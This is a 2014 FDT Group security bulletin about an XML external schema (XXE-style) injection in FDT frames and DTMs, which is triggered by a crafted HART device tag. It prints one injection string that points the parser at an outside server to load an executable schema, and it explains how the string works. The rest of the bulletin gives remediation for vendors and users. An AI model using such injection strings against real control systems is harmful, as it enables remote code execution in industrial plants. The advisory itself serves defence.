**FDT Group AISBL**
127 Rue Longue
1370 Jodogine, Belgium

www.fdtgroup.org
T • +32 10 22 22 51
F • +32 10 77 90 81

**FDT Security Bulletin**
**Document # 14-0028**

| | |
|---|---|
| Date: | September 2014 |
| Exploitability: | Low |
| Prevalence: | Uncommon |
| Impact: | Moderate to Severe (Application Dependent) |
| Remediation Effort: | Low |
| Affected FDT Versions: | Pre FDT2 |
| Attack Vector: | FDT Frames and FDT DTMs that use XML parsers |

## Introduction

A group of hackers recently set about demonstrating an alleged vulnerability of the HART protocol. They started with very little understanding of the application issues or of the HART protocol but in typical hacker fashion they quickly acquired knowledge that sent them down several avenues of trial and error. After failing to directly exploit HART, they explored the tool sets that are present in a typical HART installation and discovered the widely deployed FDT standard. The hackers then set out to use the FDT tools to demonstrate the "vulnerability" of HART.

This paper examines the method used by the hackers and the possible remedies to limit the participation of an FDT enable product in such a hacking attempt. Vendors supplying FDT components are encouraged to examine their FDT based software product as described in this document to avoid a potential exploit. End users are advised to revisit their control system firewall configuration as described in this document to minimize the exposure to this potential exploit.

## Applicable Details of Hacking Attempt

The hackers transmitted a specially crafted long tag string[32] from a simulated compromised HART6 device. For example:

"xmlns="x-schema:http://q123.ru

This tag was sent from the device to the Communication DTM to the Device DTM to the FDT Frame. Since the FDT components are handling the XML instances, the parsing of the specially formatted string works as follows:

- The leading quotation mark (") closed the value of the attribute
- The xmlns="x-schema: defines that the node namespace is to be used
- The namespace references an executable schema: http://q123.ru

- The XML parser now tries to interpret (load and execute) the schema from the *external nefarious server*.
    - For a list of Microsoft XMLS parsers visit http://support.microsoft.com/kb/269238
- The resulting *unintended execution from an untrusted source* is a potential security issue.
    - For more on XML External Entity (XXE) processing visit http://www.sans.org/reading-room/whitepapers/application/hands-on-xml-external-entity-vulnerability-training-module-34397

For this exploit to work, the following conditions must be met:

- The hacker requires logical or physical access to the plant infrastructure
- The FDT XML parser must allow redirection to servers external to the facility
- The plant's Internet firewall needs to be sufficiently porous to allow connections with an untrusted host

## Remediation Guidance to FDT Vendors to Minimize Susceptibility

The primary attack vector is the XML parser in an FDT application. FDT vendors should ensure:

- The XML interpreter is configured to refuse redirection to external servers in all cases and regardless of the protocols or networks involved.

This simple step prevents execution of unintended code as described in the above exploit while not impacting normal or desired FDT component behavior.

## Remediation Guidance to FDT Users to Minimize Susceptibility

Users should have firewall rules that refuse connections to or from any unknown/untrusted internal or external hosts. Attempts to access unknown/unauthorized hosts should be logged and promptly investigated. This is a sound security practice in any case and would prevent this exploit from working while alerting the plant security team to a potential exploit attempt.

## Further Information

Further information regarding this exploit may be available on the FDT Group public web site www.fdtgroup.org. Specific concerns or inquiries may be emailed to security (at) fdtgroup (dot) org.